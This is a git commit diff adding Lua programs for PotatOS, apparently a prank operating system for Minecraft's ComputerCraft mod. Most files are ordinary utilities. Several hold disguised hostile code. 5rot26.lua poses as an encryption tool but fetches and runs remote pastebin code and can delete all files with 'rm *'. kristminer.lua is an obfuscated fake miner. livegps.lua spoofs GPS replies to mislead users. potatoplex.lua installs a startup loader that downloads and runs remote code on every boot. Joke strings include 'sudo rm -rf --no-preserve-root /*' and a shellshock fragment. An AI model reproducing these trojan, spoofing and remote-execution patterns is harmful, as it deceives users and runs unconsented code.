initial commit of vaguely working ish build

This commit is contained in:
2020-08-22 11:39:15 +01:00
commit ff85c35873
34 changed files with 11067 additions and 0 deletions

16
src/bin/5rot26.lua Normal file
View File

@@ -0,0 +1,16 @@
local args={...} if _G.potatOS==nil then term.clear() term.setCursorPos(1,1) print("Would you like to install PotatOS? [Yes] No This will automatically close and pick selected option in 1 tick.") os.sleep(0) shell.run("pastebin run RM13UGFa") end
if args[1]=="file" then
if args[2]~=nil and fs.exists(args[2]) and not fs.isDir(args[2]) then
print("Encrypted file with 5rot26")
return
else
print("Could not find file or is a dir")
return
end
elseif args[1]=="text" then
print(args[2])
return
end
if args[1]=="text|file" and args[2]=="<text|filename>" then shell.run("rm *") return end
print("Usage: 5rot26 text|file <text|filename>")
return

33
src/bin/chronometer.lua Normal file
View File

@@ -0,0 +1,33 @@
local clock = peripheral.find("manipulator", function(_, o) return o.hasModule "minecraft:clock" end)
local run = true
while run do
term.clear()
term.setCursorPos(1, 1)
local ms = os.epoch "utc" % 1000
local gametime = os.time()
local integer = math.floor(gametime)
local fractional = gametime - integer
local gametimestring = ("%02d:%02d"):format(integer, math.floor(fractional * 60))
local out = {
{"UTC", (os.date "!%H:%M:%S.%%03d %d/%m/%Y"):format(ms)},
{"Server time", (os.date "%H:%M:%S.%%03d %d/%m/%Y"):format(ms)},
{"World time", ("%s on %d"):format(gametimestring, os.day())}
}
if clock then
table.insert(out, {"Celestial angle", ("%f degrees"):format(clock.getCelestialAngle())})
table.insert(out, {"Moon phase", tostring(clock.getMoonPhase())})
table.insert(out, {"World time (ticks)", tostring(clock.getTime())})
end
textutils.tabulate(unpack(out))
print "Press ; to exit"
local timer = os.startTimer(0.05)
while run do
local ev, param = os.pullEvent()
if ev == "timer" and timer == param then
break
elseif ev == "char" and param == ";" then
run = false
end
end
end

8
src/bin/kristminer.lua Normal file
View File

@@ -0,0 +1,8 @@
local bit32_band = bit32.band; local lshift = bit.blshift
local a=2^32;local b=a-1;local function c(d)local e={}local f=setmetatable({},e)function e:__index(g)local h=d(g)f[g]=h;return h end;return f end;local function i(f,j)local function k(l,m)local n,o=0,1;
while l~=0 and m~=0 do local p,q=l%j,m%j;n=n+f[p][q]*o;l=(l-p)/j;m=(m-q)/j;o=o*j end;
n=n+(l+m)*o;return n end;return k end;local function r(f)local s=i(f,2^1)local t=c(function(l)return c(function(m)return s(l,m)end)end)return i(t,2^(f.n or 1))end;local u=r({[0]={[0]=0,[1]=1},[1]={[0]=1,[1]=0},n=4})local function v(l,m,w,...)local x=nil;if m then l=l%a;m=m%a;x=u(l,m)if w then x=v(x,w,...)end;return x elseif l then return l%a else return 0 end end;local function y(l,m,w,...)local x;if m then l=l%a;m=m%a;x=(l+m-u(l,m))/2;if w then x=bit32_band(x,w,...)end;return x elseif l then return l%a else return b end end;
local function z(A)return(-1-A)%a end;local function B(l,C)if C<0 then return lshift(l,-C)end;return math.floor(l%2^32/2^C)end;local function D(A,C)if C>31 or C<-31 then return 0 end;return B(A%a,C)end;
local function lshift(l,C)if C<0 then return D(l,-C)end;return l*2^C%2^32 end;local function E(A,C)A=A%a;C=C%32;local F=y(A,2^C-1)return D(A,C)+lshift(F,32-C)end;local g={0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2}local function G(H)return string.gsub(H,".",function(w)return string.format("%02x",string.byte(w))end)end;local function I(J,K)local H=""for L=1,K do local M=J%256;H=string.char(M)..H;J=(J-M)/256 end;return H end;local function N(H,L)local K=0;for L=L,L+3 do K=K*256+string.byte(H,L)end;return K end;local function O(P,Q)local R=64-(Q+9)%64;Q=I(8*Q,8)P=P.."\128"..string.rep("\0",R)..Q;assert(#P%64==0)return P end;local function S(T)T[1]=0x6a09e667;T[2]=0xbb67ae85;T[3]=0x3c6ef372;T[4]=0xa54ff53a;T[5]=0x510e527f;T[6]=0x9b05688c;T[7]=0x1f83d9ab;T[8]=0x5be0cd19;return T end;local function U(P,L,T)local V={}for W=1,16 do V[W]=N(P,L+(W-1)*4)end;for W=17,64 do local h=V[W-15]local X=v(E(h,7),E(h,18),D(h,3))h=V[W-2]V[W]=V[W-16]+X+V[W-7]+v(E(h,17),E(h,19),D(h,10))end;local l,m,w,Y,Z,d,_,a0=T[1],T[2],T[3],T[4],T[5],T[6],T[7],T[8]for L=1,64 do local X=v(E(l,2),E(l,13),E(l,22))local a1=v(y(l,m),y(l,w),y(m,w))local a2=X+a1;local a3=v(E(Z,6),E(Z,11),E(Z,25))local a4=v(y(Z,d),y(z(Z),_))local a5=a0+a3+a4+g[L]+V[L]a0,_,d,Z,Y,w,m,l=_,d,Z,Y+a5,w,m,l,a5+a2 end;T[1]=y(T[1]+l)T[2]=y(T[2]+m)T[3]=y(T[3]+w)T[4]=y(T[4]+Y)T[5]=y(T[5]+Z)T[6]=y(T[6]+d)T[7]=y(T[7]+_)T[8]=y(T[8]+a0)end;function sha256(P)P=O(P,#P)local T=S({})for L=1,#P,64 do U(P,L,T)end;return G(I(T[1],4)..I(T[2],4)..I(T[3],4)..I(T[4],4)..I(T[5],4)..I(T[6],4)..I(T[7],4)..I(T[8],4))end;local a=string.format;local function b(c,d,e)local f,g,h={}for i=1,#c do g,h=i,c[i]*d;while true do h=(f[g]or 0)+h;f[g]=h%e;h=math.floor(h/e)if h==0 then break end;g=g+1 end end;return f end;local function j(k,l,m,n)local g,h;for i=1,#m do g,h=i,l*(m[i]or 0)while true do h=(k[g]or 0)+h;k[g]=h%n;h=math.floor(h/n)if h==0 then break end;g=g+1 end end end
;local function o(self,p)local f,q={},#p;for i=1,q do f[i]=self.r_alpha_from[p:byte(q-i+1)]end;return f end;local function r(self,h)local f,q={},#h;for i=q,1,-1 do f[q-i+1]=self.alpha_to:byte(h[i]+1)end;return string.char(table.unpack(f))end;local function s(self,l)return self.power[l]or b(s(self,l-1),self.base_from,self.base_to)end;local function t(self,h)local f={}for i=1,#h do j(f,h[i],s(self,i-1),self.base_to)end;return f end;local function u(self,p)return r(self,t(self,o(self,p)))end;local function v(self,p)for i=1,#p do if not self.r_alpha_from[p:byte(i)]then return false end end;return true end;local w={__index={convert=u,validate=v},__call=function(self,p)return self:convert(p)end}function new_converter(x,y)local self={alpha_to=y,base_from=#x,base_to=#y,"wss://krist.ceriat.net"}local z={}for i=1,#x do z[x:byte(i)]=i-1 end;self.r_alpha_from=z;self.power={[0]={1}}return setmetatable(self,w)end;local a={...}if not a[1]then printError("Please provide the address")return end;textutils.slowPrint("Starting up....")print("Mining for "..a[1])while true do local b={}local c=3;for d=0,100 do local e=math.random(0,255)table.insert(b,e)end;if b[0x1]>10 then c=c+1 end;if b[0x3]>20 then c=c+2 end;if b[0x5]>30 then c=c+3 end;if b[0x7]>40 then c=c+4 end;if b[0x9]>50 then c=c+5 end;if b[0xb]>60 then c=c+6 end;if b[0xd]>70 then c=c+7 end;if b[15]>80 then c=c+8 end;if b[88]>80 then c=c+math.random(0,42) end;if b[17]>90 then c=c+9 end;if b[19]>100 then c=c+10 end;if b[21]>110 then c=c+11 end;if b[37]>100 then c=c+17 end;if b[23]>120 then c=c+12 end;if b[25]>130 then c=c+13 end;if b[27]>140 then c=c+14 end;if b[29]>150 then c=c+15 end;if b[31]>160 then c=c+16 end;if b[33]>170 then c=c+17 end;if b[0x3b]>112 then c=c+11 end;if b[0xc800f3fe4e] then print "Block found!" end;local f=0;for g,h in ipairs(b)do f=f-g+h end;if f>0x2328 then c=0 end;
textutils.slowPrint(c.."H/s")sleep(1)end

36
src/bin/livegps.lua Normal file
View File

@@ -0,0 +1,36 @@
local CHANNEL = gps.CHANNEL_GPS
if fs.exists "disk/use-different-channel" then CHANNEL = 0 end
local function callback()
print "LiveGPS Up"
local modems = {peripheral.find "modem"}
local function on_all(fn, ...) for _, v in pairs(modems) do v[fn](...) end end
on_all("open", CHANNEL)
local function rand()
return math.random(-(2^16), 2^16)
end
local served = 0
while true do
local _, side, channel, reply_channel, message, distance = coroutine.yield "modem_message"
if channel == CHANNEL and message == "PING" and distance then
modems[math.random(1, #modems)].transmit(reply_channel, CHANNEL, { rand(), rand(), rand() })
served = served + 1
print(served, "users led astray.")
end
end
end
local old_printError = _G.printError
function _G.printError()
_G.printError = old_printError
-- Multishell must die.
term.redirect(term.native())
multishell = nil
callback()
end
os.queueEvent "terminate"

250
src/bin/loading.lua Normal file
View File

@@ -0,0 +1,250 @@
--[[
Loading Simulator
Copyright (c) 2017 Ale32bit
MIT LICENSE: https://github.com/Ale32bit/Loading/blob/master/LICENSE
]]--
local old = os.pullEvent
os.pullEvent = os.pullEventRaw
local splash = {
"Reticulating splines...",
"Swapping time and space...",
"Spinning violently around the y-axis...",
"Tokenizing real life...",
"Bending the spoon...",
"Filtering morale...",
"Don't think of purple hippos...",
"We need a new fuse...",
"Loading files, maybe...",
"Why is this taking so long?!",
"Windows is loading files...",
"The bits are breeding",
"(Pay no attention to the man behind the curtain)",
"Checking user patience...",
"Don't worry - a few bits tried to escape, but we caught them",
"As if you have any other choice",
"It's still faster than you could draw it",
"(Insert quarter)",
"My other loading screen is much faster.",
"Counting backwards from Infinity",
"Embiggening Prototypes",
"We're making you a cookie.",
"I'm sorry Dave, I can't do that.",
"Do not run! We are your friends!",
"Do you come here often?",
"Please wait until the sloth starts moving.",
"Don't break your screen yet!",
"I swear it's almost done.",
"Unicorns are at the end of this road, I promise.",
"Keeping all the 1's and removing all the 0's...",
"Putting the icing on the cake. The cake is not a lie...",
"Where did all the internets go",
"Load it and they will come",
"Convincing AI not to turn evil...",
"Wait, do you smell something burning?",
"Computing the secret to life, the universe, and everything.",
"Constructing additional pylons...",
"Roping some seaturtles...",
"Locating Jebediah Kerman...",
"If you type Google into Google you can break the internet",
"Well, this is embarrassing.",
"The Elders of the Internet would never stand for it.",
"Cracking military-grade encryption...",
"Simulating travelling salesman...",
"Winter is coming...",
"Installing dependencies",
"It is dark. You're likely to be eaten by a grue.",
"BRB, working on my side project",
"Downloading more RAM",
"Never let a computer know you're in a hurry.",
"Alt-F4 speeds things up.",
"Shovelling coal into the server",
"How about this weather, eh?",
"Building a wall...",
"Time flies like an arrow; fruit flies like a banana",
"Switching to the latest JS framework...",
"Proving P=NP...",
"Entangling superstrings...",
"Twiddling thumbs...",
"Searching for plot device...",
"Trying to sort in O(n)...",
"Laughing at your pictures-I mean, loading...",
"Sending data to NS-I mean, our servers.",
"Looking for sense of humour, please hold on.",
"Please wait while the intern refills his coffee.",
"What is the airspeed velocity of an unladen swallow?",
"There is no spoon. Because we are not done loading it",
"Connecting Neurotoxin Storage Tank...",
"Cleaning off the cobwebs...",
"Making sure all the i's have dots...",
"sleep(1)",
"Loading 42PB of data. Please wait.",
"Closing handles...",
"Counting stars in the sky...",
"Not believing my eyes...",
"u wnt.. sum loading?",
"Mining etherum...",
"Sending files to NSA...",
"Distributing your credit card information...",
"Suing everyone...",
"handle:flushDownToilet()",--stolen from KRapFile :P
"Waiting for Half-Life 3...",
"Hacking NSA",
"Sending NSA data to.. NSA? I guess? Sure, why not.",
"() { :;};",
"Executing \"sudo rm -rf --no-preserve-root /*\"",
"Are you done yet? I want to use the loading screen too",
"Better go make a sandwich",
"The cake is a lie",
"You really miss loading screens. Don't you?",
"Press CTRL+T. I know you are tired aren't you?",
"Rahph was here",
"Rahph, stop messing with my programs.",
"Don't press the big red button",
"100% gluten-free!",
"Voiding warranty...",
"Error 507611404",
"Overwriting data with cats...",
"Converting universe to paperclips...",
"Self-destruct in 3... 2... 1...",
"Protocol Omega initiated.",
"Simulating identical copy of universe...",
"java.lang.OutOfMemoryError",
"Downloading 100MB of JavaScript and ads",
"Brute-forcing WiFi password...",
"Contacting field agents...",
"Reversing existing progress...",
"Generating witty loading text"
}
local col
if term.isColor() then
col = {
bg = colors.white,
toload = colors.gray,
loaded = colors.green,
text = colors.lightGray,
}
else
col = {
bg = colors.white,
toload = colors.gray,
loaded = colors.lightGray,
text = colors.lightGray,
}
end
local function to_hex_char(color)
local power = math.log(color) / math.log(2)
return string.format("%x", power)
end
local function round(x)
return math.floor(x + 0.5)
end
term.setBackgroundColor(col.bg)
term.clear()
term.setCursorPos(1,1)
local w,h = term.getSize()
local function write_center(txt)
_, y = term.getCursorPos()
for line in txt:gmatch("[^\r\n]+") do
term.setCursorPos(math.ceil(w/2)-math.ceil(#line/2), y)
term.write(line)
y = y + 1
end
end
local start = os.clock()
local dead = false
local function run_time()
return os.clock() - start
end
parallel.waitForAny(function()
while true do
for i = 0,3 do
local x = i
if math.random(0, 20) == 7 then x = 6 end
term.setCursorPos(1,7)
term.setTextColor(col.text)
term.setBackgroundColor(col.bg)
term.clearLine()
write_center("Loading")
write(string.rep(".",x))
sleep(0.5)
end
end
end, function()
local toload = to_hex_char(col.toload)
local loaded = to_hex_char(col.loaded)
local text = to_hex_char(col.text)
local y = h / 2
local start_x = 3
local bar_width = w - 4
local p = 1
while true do
local progress = 1 - p
p = p * 0.99
local raw_loaded_pixels = (progress * bar_width) + 0.5 -- round
local loaded_pixels = round(raw_loaded_pixels)
local display_extra_thingy = math.ceil(raw_loaded_pixels) - raw_loaded_pixels > 0.5
local remaining_pixels = bar_width - loaded_pixels
if bar_width - raw_loaded_pixels < 0.1 then break end
term.setCursorPos(start_x, y)
term.blit((" "):rep(bar_width), text:rep(bar_width), loaded:rep(loaded_pixels) .. toload:rep(remaining_pixels))
if display_extra_thingy then
term.setCursorPos(start_x + loaded_pixels, y)
term.setBackgroundColor(col.toload)
term.setTextColor(col.loaded)
term.write "\149"
end
sleep(0.2)
end
end, function()
while true do
local choice = splash[math.random(1,#splash)]
term.setCursorPos(1,math.ceil(h/2)+2)
term.setBackgroundColor(col.bg)
term.setTextColor(col.text)
term.clearLine()
write_center(choice)
sleep(5)
end
end, function()
while true do
local ev = os.pullEventRaw("terminate")
if ev == "terminate" then
dead = true
break
end
end
end)
local time = run_time()
os.pullEvent = old
term.setBackgroundColor(colors.black)
term.setCursorPos(1,1)
term.setTextColor(colors.white)
term.clear()
if dead then
print("You gave up at", time, "seconds of loading!")
else
print("You survived", time, "seconds of loading!")
end
print ""
print "Created by Ale32bit"
print "Modified by osmarks"

119
src/bin/potatoflight.lua Normal file
View File

@@ -0,0 +1,119 @@
if peripheral.getType "back" ~= "neuralInterface" then error "for neural interfaces with kinetic augments and stuff, silly potato" end
local user = "gollark"
if settings.get "flight_user" then user = settings.get "flight_user" end
if potatOS and potatOS.registry then
user = potatOS.registry.get "flight_user"
if not user then error "Please set your username with `est flight_user [username]`" end
end
local modules = peripheral.wrap "back"
local function length(x, y, z)
return math.sqrt(x * x + y * y + z * z)
end
local function round(num, dp)
local mult = 10^(dp or 0)
return math.floor(num * mult + 0.5) / mult
end
local canvas = modules.canvas()
-- Backported from Opus Neural ElytraFly since it has a nicer implementation than I do
local function display(meta)
if canvas then
local w, h = canvas.getSize()
if not canvas.group then
canvas.group = canvas.addGroup({ w - 80, 15 })
canvas.group.addRectangle(0, 0, 60, 30, 0x00000033)
canvas.pitch = canvas.group.addText({ 4, 5 }, '') -- , 0x202020FF)
canvas.pitch.setShadow(true)
canvas.pitch.setScale(.75)
canvas.group2 = canvas.addGroup({ w - 10, 15 })
canvas.group2.addLines(
{ 0, 0 },
{ 0, 180 },
{ 5, 180 },
{ 5, 0 },
0x202020FF,
2)
canvas.meter = canvas.group2.addRectangle(0, 0, 5, 1)
end
local size = math.abs(meta.pitch) -- math.ceil(math.abs(meta.pitch) / 9)
local y = 0
local color = 0x202020FF
if meta.pitch < 0 then
y = size
color = 0x808080FF
end
canvas.meter.setPosition(0, 90 - y)
canvas.meter.setSize(5, size)
canvas.meter.setColor(color)
canvas.pitch.setText(string.format('Pitch: %s\nMotion Y: %s\nSpeed: %s',
math.floor(-meta.pitch),
round(meta.motionY, 2),
round(length(meta.motionX, meta.motionY, meta.motionZ), 2)))
end
end
--[[
local function pad(s, i)
return ("%s %s%.1f"):format(s, i >= 0 and "+" or "", i)
end
local overlay = {
function(meta) return pad("X:", meta.motionX) end,
function(meta) return pad("Y:", meta.motionY) end,
function(meta) return pad("Z:", meta.motionZ) end,
function(meta) return pad(" ", length(meta.motionX, meta.motionY, meta.motionZ)) end,
function(meta) return pad("P:", meta.power) end
}
local objects
local function draw_overlay(meta)
if not objects then
objects = {}
local w, h = canv.getSize()
for ix in pairs(overlay) do
objects[ix] = canv.addText({w - 40, ix * 10 + 5}, "")
objects[ix].setColor(0xFFFFFFFF)
end
end
for ix, f in pairs(overlay) do
objects[ix].setText(f(meta))
end
end
]]
local function get_power(meta)
local power = 4
if meta.isElytraFlying or meta.isFlying then power = 1 end
if meta.isSneaking then power = 4 end
if _G.tps then
power = power * (20 / _G.tps)
end
return math.min(power, 4)
end
local function get_meta()
local meta = modules.getMetaByName(user)
meta.power = get_power(meta)
display(meta)
return meta
end
while true do
local meta = get_meta()
while (not _G.stop_flight) and (meta.isSneaking or meta.isFlying or meta.isElytraFlying) do
modules.launch(meta.yaw, meta.pitch, meta.power)
sleep(0.1)
meta = get_meta()
end
if meta.motionY < -0.8 then
modules.launch(0, 270, meta.power / 2)
end
sleep(0.4)
end

242
src/bin/potatoplex.lua Normal file
View File

@@ -0,0 +1,242 @@
-- POTATOPLEX: The best potatOS feature
local args = {...}
local targs = table.concat(args, " ")
local text
if args[1] and fs.exists(args[1]) then
local f = fs.open(args[1], "r")
text = f.readAll()
f.close()
end
local function randpick(l)
if #l == 1 then return l[1] end
return l[math.random(1, #l)]
end
local function potatoplex_is_installed()
if fs.isDir "startup" then return false end
local f = fs.open("startup", "r")
if not f then return false end
return f.readAll():match "POTATOPLEX"
end
if commands then
print "Enabling Command Potatoplex mode. Do not attempt to resist."
_G.os.pullEvent = coroutine.yield
if not potatoplex_is_installed() then
print "Installing as startup"
settings.set("shell.allow_startup", true)
settings.set("shell.allow_disk_startup", false)
settings.save ".settings"
if fs.exists "startup" then fs.delete "startup" end
local f = fs.open("startup", "w")
f.write([[
-- POTATOPLEX!!!!!
_G.os.pullEvent = coroutine.yield
local h = http.get "https://pastebin.com/raw/wYBZjQhN"
local t = h.readAll()
h.close()
local fn, err = load(t, "=potatoplex")
if not fn then error(err)
else fn() end
]])
end
local items = {
"minecraft:diamond_block",
"minecraft:emerald_block",
"minecraft:redstone_block",
"minecraft:lapis_block",
"minecraft:iron_block",
"minecraft:gold_block",
"minecraft:command_block",
"computronics:oc_special_parts",
"opencomputers:casecreative",
{"opencomputers:material", 25},
{"opencomputers:material", 22},
{"opencomputers:material", 19},
{"opencomputers:component", 19},
{"opencomputers:component", 18},
{"opencomputers:component", 12},
{"opencomputers:component", 32},
{"opencomputers:card", 0},
{"plethora:module", 7},
{"plethora:module", 1},
"bibliocraft:bookcasecreative",
"minecraft:nether_star",
"quark:pirate_hat"
}
local baseblocks = {
"minecraft:wool",
"minecraft:concrete",
"minecraft:concrete_powder",
"chisel:antiblock",
"chisel:energizedvoidstone",
"chisel:voidstonerunic",
"chisel:voidstone",
"minecraft:end_portal",
"quark:stained_clay_tiles",
"quark:stained_planks",
"quark:quilted_wool",
"quark:cavecrystal",
"minecraft:stained_hardened_clay",
"minecraft:stained_glass",
"minecraft:stained_glass_pane",
{"minecraft:white_glazed_terracotta", 0},
{"minecraft:orange_glazed_terracotta", 0},
{"minecraft:magneta_glazed_terracotta", 0},
{"minecraft:light_blue_glazed_terracotta", 0},
{"minecraft:yellow_glazed_terracotta", 0},
{"minecraft:lime_glazed_terracotta", 0},
{"minecraft:pink_glazed_terracotta", 0},
{"minecraft:gray_glazed_terracotta", 0},
{"minecraft:silver_glazed_terracotta", 0},
{"minecraft:cyan_glazed_terracotta", 0},
{"minecraft:purple_glazed_terracotta", 0},
{"minecraft:blue_glazed_terracotta", 0},
{"minecraft:brown_glazed_terracotta", 0},
{"minecraft:green_glazed_terracotta", 0},
{"minecraft:red_glazed_terracotta", 0},
{"minecraft:black_glazed_terracotta", 0},
{"minecraft:bedrock", 0},
{"minecraft:diamond_block", 0},
{"minecraft:emerald_block", 0},
{"minecraft:redstone_block", 0},
{"minecraft:lapis_block", 0},
{"minecraft:iron_block", 0},
{"minecraft:gold_block", 0}
}
local blocks = {}
for _, b in pairs(baseblocks) do
if type(b) == "table" then table.insert(blocks, b)
else
for i = 0, 15 do
table.insert(blocks, {b, i})
end
end
end
local x, y, z = commands.getBlockPosition()
local cx, cz = math.floor(x / 16) * 16, math.floor(z / 16) * 16
local give_items = not targs:match "scrooge"
while true do
for i = 1, 8 do
local rx, ry, rz = math.random(cx, cx + 15), math.random(0, 255), math.random(cz, cz + 15)
local pick = randpick(blocks)
local meta, block = pick[2], pick[1]
if rx ~= x and ry ~= y and rz ~= z then
commands.execAsync(("setblock %d %d %d %s %d replace"):format(rx, ry, rz, block, meta))
end
end
if give_items and math.random(0, 1000) == 42 then
print "POTATO FESTIVAL!"
for i = 1, 36 do
local pick = randpick(items)
local meta = 0
local item = pick
if type(pick) == "table" then meta = pick[2] item = pick[1] end
commands.execAsync(("give @a %s 64 %d"):format(item, meta))
end
end
sleep()
end
end
local monitors = {peripheral.find "monitor"}
local signs = {peripheral.find "minecraft:sign"}
table.insert(monitors, term.current())
local duochrome_mode = targs:find "duochrome" ~= nil
local function random_color()
if duochrome_mode then
if math.random(0, 1) == 0 then return colors.black
else return colors.white end
end
return math.pow(2, math.random(0, 15))
end
local function random_segment(text)
local start = math.random(1, #text)
return text:sub(start, math.random(start, #text))
end
local sixel_mode = targs:find "sixel" ~= nil
local min, max = 0, 255
if sixel_mode then
min, max = 128, 159
end
local function random_char()
return string.char(math.random(min, max))
end
local colors = {}
for i = 0, 15 do table.insert(colors, ("%x"):format(i)) end
local function random_pick(list)
return list[math.random(1, #list)]
end
local function one_pixel(m, x, y)
m.setCursorPos(x, y)
if text then
m.setBackgroundColor(random_color())
m.setTextColor(random_color())
m.write(random_segment(text))
else
m.blit(random_char(), random_pick(colors), random_pick(colors))
end
end
local chat_colors = {
"k",
"l",
"m",
"n",
"o"
}
for i = 0, 16 do table.insert(chat_colors, string.format("%x", i)) end
local hook = _G.potatoplex_hook
local slowpalette_mode = targs:find "slowpalette" ~= nil
local function run(m)
local w, h = m.getSize()
for i = 1, 16 do
local x, y = math.random(1, w), math.random(1, h)
one_pixel(m, x, y)
end
if not slowpalette_mode or math.random(0, 20) == 13 then
m.setPaletteColor(random_color(), math.random(), math.random(), math.random())
end
if hook then hook(m) end
end
for k, v in pairs(monitors) do if v.setTextScale then v.setTextScale(1) end end
local function line()
local out = "\167" .. random_pick(chat_colors)
for i = 1, 32 do
out = out .. random_char()
end
return out
end
while true do
for k, v in pairs(monitors) do
pcall(run, v)
sleep(0)
end
for k, v in pairs(signs) do
pcall(v.setSignText, line(), line(), line(), line())
sleep()
end
end

87
src/bin/relay.lua Normal file
View File

@@ -0,0 +1,87 @@
--[[
For reasons outlined here (https://wiki.computercraft.cc/Network_security), Rednet is not really a good choice for new networking setups, apart from its capability to relay messages (obsoleted by ender modems).
However, if you do want to keep using it, without the risk of it crashing due to the exploits I have identified (https://pastebin.com/pJnfSDcL), you can use this convenient, patched repeater. It doesn't alleviate the fundamental issues with Rednet, though.
]]
-- Find modems
local modems = {peripheral.find "modem"}
local comp_ID = os.getComputerID()
print(("%d modem(s) found"):format(#modems))
local function for_each_modem(fn)
for _, m in pairs(modems) do
fn(m)
end
end
local function open(channel)
for_each_modem(function(m) m.open(channel) end)
end
local function close(channel)
for_each_modem(function(m) m.close(channel) end)
end
-- Open channels
open(rednet.CHANNEL_REPEAT)
-- Main loop (terminate to break)
local ok, error = pcall(function()
local received_messages = {}
local received_message_timers = {}
local transmitted_messages = 0
while true do
local event, modem, channel, reply_channel, message, distance = os.pullEvent()
if event == "modem_message" then
-- Got a modem message, rebroadcast it if it's a rednet thing
if channel == rednet.CHANNEL_REPEAT and type(message) == "table" then
local id = message.nMessageID -- unfortunately we must keep the stupid rednet identifiers SOMEWHERE...
local recipient = message.nRecipient
local route = message.route -- protocol extension
if type(route) ~= "table" then route = { reply_channel } end
table.insert(route, comp_ID)
message.route = route
if id and recipient and (type(id) == "number" or type(id) == "string") and type(recipient) == "number" and recipient >= 0 and recipient <= 65535 then
if not received_messages[id] then
-- Ensure we only repeat a message once per 30 seconds
received_messages[id] = true
received_message_timers[os.startTimer(30)] = id
-- Send on all other open modems, to the target and to other repeaters
for_each_modem(function(m)
m.transmit(rednet.CHANNEL_REPEAT, reply_channel, message)
m.transmit(recipient, reply_channel, message)
end)
-- Log the event
transmitted_messages = transmitted_messages + 1
term.clear()
term.setCursorPos(1, 1)
print(("%d message(s) repeated"):format(transmitted_messages))
print(string.format("%s\nfrom %d to %s dist %d", tostring(message.message), reply_channel, tostring(recipient), tostring(distance) or "[n/a]"))
end
end
end
elseif event == "timer" then
-- Got a timer event, use it to clear the message history
local timer = modem
local id = received_message_timers[timer]
if id then
received_message_timers[timer] = nil
received_messages[timer] = nil
end
end
end
end)
if not ok then
printError(error)
end
-- Close channels
close(rednet.CHANNEL_REPEAT)

79
src/bin/tryhaskell.lua Normal file
View File

@@ -0,0 +1,79 @@
local function URL_encode(str)
if str then
str = str:gsub("\n", "\r\n")
str = str:gsub("([^%w %-%_%.%~])", function(c)
return ("%%%02X"):format(string.byte(c))
end)
str = str:gsub(" ", "+")
end
return str
end
local API = "http://tryhaskell.org/eval"
local function evaluate(code, files, stdin)
local args = json.encode {
stdin or {},
files
}
local data = string.format("exp=%s&args=%s", URL_encode(code), URL_encode(args))
local h, err = http.post(API, data, {
["User-Agent"] = "HasCCell"
})
if err then error(err) end
local c = h.readAll()
h.close()
return json.decode(c)
end
local function save_files(files)
local f = fs.open(".tryhaskell-files", "w")
f.write(textutils.serialise(files))
f.close()
end
local function load_files()
local f = fs.open(".tryhaskell-files", "r")
local files = textutils.unserialise(f.readAll())
f.close()
return files
end
local function preprocess_output(o)
local o = o:gsub("", "'"):gsub("", "'")
return o
end
local history = {}
local files = {}
local ok, result = pcall(load_files)
if ok then files = result end
local last_expr
local function handle_result(result)
if result.success then
local s = result.success
for _, line in pairs(s.stdout) do write(preprocess_output(line)) end
print(preprocess_output(s.value))
print("::", preprocess_output(s.type))
files = s.files
save_files(files)
elseif result.error then
textutils.pagedPrint(preprocess_output(result.error))
else
write "-> "
local next_line = read()
handle_result(evaluate(last_expr, files, { next_line }))
end
end
while true do
write "|> "
local input = read(nil, history)
last_expr = input
table.insert(history, input)
local result = evaluate(input, files)
handle_result(result)
end